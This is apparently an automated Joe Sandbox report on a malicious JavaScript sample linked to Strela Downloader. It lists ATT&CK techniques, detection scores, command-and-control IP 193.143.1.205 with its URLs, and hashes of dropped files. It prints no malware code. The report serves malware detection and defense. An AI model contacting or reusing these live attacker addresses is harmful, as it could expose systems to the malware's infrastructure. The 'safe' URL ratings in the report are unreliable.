Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
25917225161220417691.js	3%	Virustotal		Browse
25917225161220417691.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/Q	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/9	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/9	net.exe, 00000007.00000002.2169446767.000001E68A246000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2168938331.000001E68A246000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3395779062.000001E357A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2166974639.000001E357860000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2169399223.000001E68A218000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Q	net.exe, 00000007.00000002.2169446767.000001E68A246000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2168938331.000001E68A246000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587715
Start date and time:	2025-01-10 17:15:37 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	25917225161220417691.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.6.155.20, 3.233.129.217, 3.219.243.226, 52.22.41.97, 162.159.61.3, 172.64.41.3, 184.28.90.27, 2.22.50.144, 2.22.50.131, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 52.149.20.212, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:16:41	API Interceptor	21x Sleep call for process: powershell.exe modified
11:16:45	API Interceptor	1x Sleep call for process: net.exe modified
11:16:45	API Interceptor	2x Sleep call for process: svchost.exe modified
11:16:58	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28091322483050023072.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1697943393056527466.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28091322483050023072.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28152172202187913252.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	550532080162812544.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307074585937694
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugA:gJjJGtpTq2yv1AuNZRY3diu8iBVqFO
MD5:	C1366BA2E1B1691AC7BAAC434939E150
SHA1:	2F68D2A7B8B4BD5C30427FB8C520654864FCCF0E
SHA-256:	602B7A0FE440A989A1BE24CD730196EF841DE3FAE2634ACE88964D7B722D07E6
SHA-512:	8F1C0A1CC279CE37E1FBB4069CD2CFCE8DB4C272330C94370202EB31BD8F1A054BB4B99A5FA9BBBD3355F62797CCF12F768BC5D9642936D16019AE1CB7641CC0
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x5cb6facc, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585569545516795
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Raza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	34465F37832FE55F912D236773C08B77
SHA1:	59E1E91839784304BC5C5839E27F1693FB1A9B87
SHA-256:	98A035E011D7737BBFF1E558423AB023116C0EF822171572E6E5869B1DD147E6
SHA-512:	B004B233F6A90E768C31A9A88C4C11418E152DA511D654C94C30B48B24DB52FBA68F302E79365E209E88FAF3C86BC29406FEF379AA88713951DEEDEBC817AB61
Malicious:	false
Preview:	\...... ...............X\...;...{......................0.z..........{.......}M.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...........................................}..................6.h......}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08102264125014216
Encrypted:	false
SSDEEP:	3:E0W8Ye8burhVGuAJkhvekl1Y+DmlltollrekGltll/SPj:E38zfrxl6+y/GJe3l
MD5:	E78E55688AFE761B0BAC3E08AC8EBC22
SHA1:	9791F2AD992740025ECD553C81D0E57835E92FB6
SHA-256:	D9F49EF155145B77897D7CBDD83766B443B297EC46D83A4F715BA80D2AF67208
SHA-512:	27AC112C503E955F6849606C5055376A16F3ABB25BE50DF27209CC68845544CF3112901737EBEB3D75D44B7EB3B46A26C83369B24DF458DA14309B5CA522FDFB
Malicious:	false
Preview:	.lBQ.....................................;...{.......}.......{...............{.......{...XL......{..................6.h......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.201141967369134
Encrypted:	false
SSDEEP:	6:iO4h0z+q2P92nKuAl9OmbnIFUtShj32WZmwshj39VkwO92nKuAl9OmbjLJ:7nz+v4HAahFUt5W/yV5LHAaSJ
MD5:	4E7F834D727AEE750EF48E898F5A1199
SHA1:	B1718EF43DC14F451CD4C062BC33A0C55E8EF9A0
SHA-256:	5C0D9AC3E61A863F7AC2110B499E4C1FD5354B96F923AE82DFD95BDBD18CCAF2
SHA-512:	242413CAA52082200A3D84CD9CD9DA313EF745B6C163C674E0318B3858554E437FAEB03EB6528E7966D89AF9B0568738D94C12C7941E29876CF699BC9CEDB80F
Malicious:	false
Preview:	2025/01/10-11:16:45.295 8ec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:16:45.298 8ec Recovering log #3.2025/01/10-11:16:45.298 8ec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.201141967369134
Encrypted:	false
SSDEEP:	6:iO4h0z+q2P92nKuAl9OmbnIFUtShj32WZmwshj39VkwO92nKuAl9OmbjLJ:7nz+v4HAahFUt5W/yV5LHAaSJ
MD5:	4E7F834D727AEE750EF48E898F5A1199
SHA1:	B1718EF43DC14F451CD4C062BC33A0C55E8EF9A0
SHA-256:	5C0D9AC3E61A863F7AC2110B499E4C1FD5354B96F923AE82DFD95BDBD18CCAF2
SHA-512:	242413CAA52082200A3D84CD9CD9DA313EF745B6C163C674E0318B3858554E437FAEB03EB6528E7966D89AF9B0568738D94C12C7941E29876CF699BC9CEDB80F
Malicious:	false
Preview:	2025/01/10-11:16:45.295 8ec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:16:45.298 8ec Recovering log #3.2025/01/10-11:16:45.298 8ec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.153686596691511
Encrypted:	false
SSDEEP:	6:iO4h+v1pM+q2P92nKuAl9Ombzo2jMGIFUtSh+VYZmwsh+XsMVkwO92nKuAl9OmbX:73bM+v4HAa8uFUt4/IMV5LHAa8RJ
MD5:	116B021344EE3A8BAE0670CD783B74BA
SHA1:	4D639625B3D21479071A72B9D853669011223932
SHA-256:	8ED905DBFB8AA1A1DF31861502B593C65B69AA8A08A1086289864AFAB6C9FC1E
SHA-512:	C3F1C5CEF632328D27439B40B22DBD4DF7BE79B08E2976F899923865B3912D2DC965C3E772BDBC1D6DC68CE6C91A4BF6AE0D6688F5BD6FD397DA673DE6C5DB30
Malicious:	false
Preview:	2025/01/10-11:16:45.460 1c8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:16:45.462 1c8c Recovering log #3.2025/01/10-11:16:45.463 1c8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.153686596691511
Encrypted:	false
SSDEEP:	6:iO4h+v1pM+q2P92nKuAl9Ombzo2jMGIFUtSh+VYZmwsh+XsMVkwO92nKuAl9OmbX:73bM+v4HAa8uFUt4/IMV5LHAa8RJ
MD5:	116B021344EE3A8BAE0670CD783B74BA
SHA1:	4D639625B3D21479071A72B9D853669011223932
SHA-256:	8ED905DBFB8AA1A1DF31861502B593C65B69AA8A08A1086289864AFAB6C9FC1E
SHA-512:	C3F1C5CEF632328D27439B40B22DBD4DF7BE79B08E2976F899923865B3912D2DC965C3E772BDBC1D6DC68CE6C91A4BF6AE0D6688F5BD6FD397DA673DE6C5DB30
Malicious:	false
Preview:	2025/01/10-11:16:45.460 1c8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:16:45.462 1c8c Recovering log #3.2025/01/10-11:16:45.463 1c8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7af59814-b4b4-48fe-9d49-1054d6fa723b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.048826825860364
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqVsBdOg2Hdcaq3QYiubxnP7E4T3OF+:Y2sRdsfdMHs3QYhbxP7nbI+
MD5:	07FD2ACB2ADED86543815F84E1CC624B
SHA1:	8CD6BF3B623EA71E2E707C41B0B0D1831EA76E1D
SHA-256:	714766482AF7EC0E998E2EA56D31491CBD6847F7EA896ACC3DC815776D777DDC
SHA-512:	33B6478AB499997CF59ACE4B50A4FA55FE1754972BAAF6BFC2E9A01C5210D98EF9EC07F4CEECF3780CF1045F18B06B302CF59F57899E59D89A21ECFEC8C502F1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085817943651","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":148231},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.048826825860364
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqVsBdOg2Hdcaq3QYiubxnP7E4T3OF+:Y2sRdsfdMHs3QYhbxP7nbI+
MD5:	07FD2ACB2ADED86543815F84E1CC624B
SHA1:	8CD6BF3B623EA71E2E707C41B0B0D1831EA76E1D
SHA-256:	714766482AF7EC0E998E2EA56D31491CBD6847F7EA896ACC3DC815776D777DDC
SHA-512:	33B6478AB499997CF59ACE4B50A4FA55FE1754972BAAF6BFC2E9A01C5210D98EF9EC07F4CEECF3780CF1045F18B06B302CF59F57899E59D89A21ECFEC8C502F1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085817943651","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":148231},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.232954937859476
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUqkI3Gt:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLc
MD5:	8942B56CB88C386CE8D9C258891182A9
SHA1:	F0638E58B15F8F2072355198FC1CE3BF4E5073C7
SHA-256:	F143DE2781A3641738C7D25B5C6C29C0C2531502C46F225EE8AE7429C26A8879
SHA-512:	4AA65E32E169B7AB2C55F2355ACC71F22CBC605676B2DEFC085DA755AF5D36D3606C2936E92C7E0586E21E4E56A0A5D1DCBF3F45EC7C4847EBE71771F03D3E65
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.163088111223651
Encrypted:	false
SSDEEP:	6:iO4hilM+q2P92nKuAl9OmbzNMxIFUtShwZmwshAsMVkwO92nKuAl9OmbzNMFLJ:7VlM+v4HAa8jFUtb/IMV5LHAa84J
MD5:	EC047AA02AE7185038EB25F32B5C7556
SHA1:	959A74E108F89183E0A2243991B127AD82657291
SHA-256:	2C891C90787CF14D5A48EC6844D9C6370166A4B57B86BC4CB056F0D1C0F7940B
SHA-512:	7970DDC9BDD335BB888924FA5FB6E8744E51A6FFFB05A60B2571858D6DAF80D6AB36C2DA6A08C44D3F97414EDC0918E2EE7DB2CA87E0AA8AC4A6F86F3D8F812B
Malicious:	false
Preview:	2025/01/10-11:16:46.463 1c8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:16:46.464 1c8c Recovering log #3.2025/01/10-11:16:46.468 1c8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.163088111223651
Encrypted:	false
SSDEEP:	6:iO4hilM+q2P92nKuAl9OmbzNMxIFUtShwZmwshAsMVkwO92nKuAl9OmbzNMFLJ:7VlM+v4HAa8jFUtb/IMV5LHAa84J
MD5:	EC047AA02AE7185038EB25F32B5C7556
SHA1:	959A74E108F89183E0A2243991B127AD82657291
SHA-256:	2C891C90787CF14D5A48EC6844D9C6370166A4B57B86BC4CB056F0D1C0F7940B
SHA-512:	7970DDC9BDD335BB888924FA5FB6E8744E51A6FFFB05A60B2571858D6DAF80D6AB36C2DA6A08C44D3F97414EDC0918E2EE7DB2CA87E0AA8AC4A6F86F3D8F812B
Malicious:	false
Preview:	2025/01/10-11:16:46.463 1c8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:16:46.464 1c8c Recovering log #3.2025/01/10-11:16:46.468 1c8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFkleuwk3lltfllXlE/HT8kZNNX8RolJuRdxLlGB9lQRYwpDdt:kKHuwkPeT8QNMa8RdWBwRd
MD5:	9A3AD443447546B2D75420FB208477A1
SHA1:	93A79BEFED8AE15FEAE4B7204870A7B9CF7ABE51
SHA-256:	5B5A220E21E7C501F568A0B1CDFC8C979CC6E01FEDCE428D261C7541FB10F100
SHA-512:	8B6BE475F4FC90C71F3CC3C9EECD8C7B4B63260639D9745972116DC09DB1C36ED90FC4226FD66C9699060ED55385B99EBBC533085A7B4F6ABF531F1A25745927
Malicious:	false
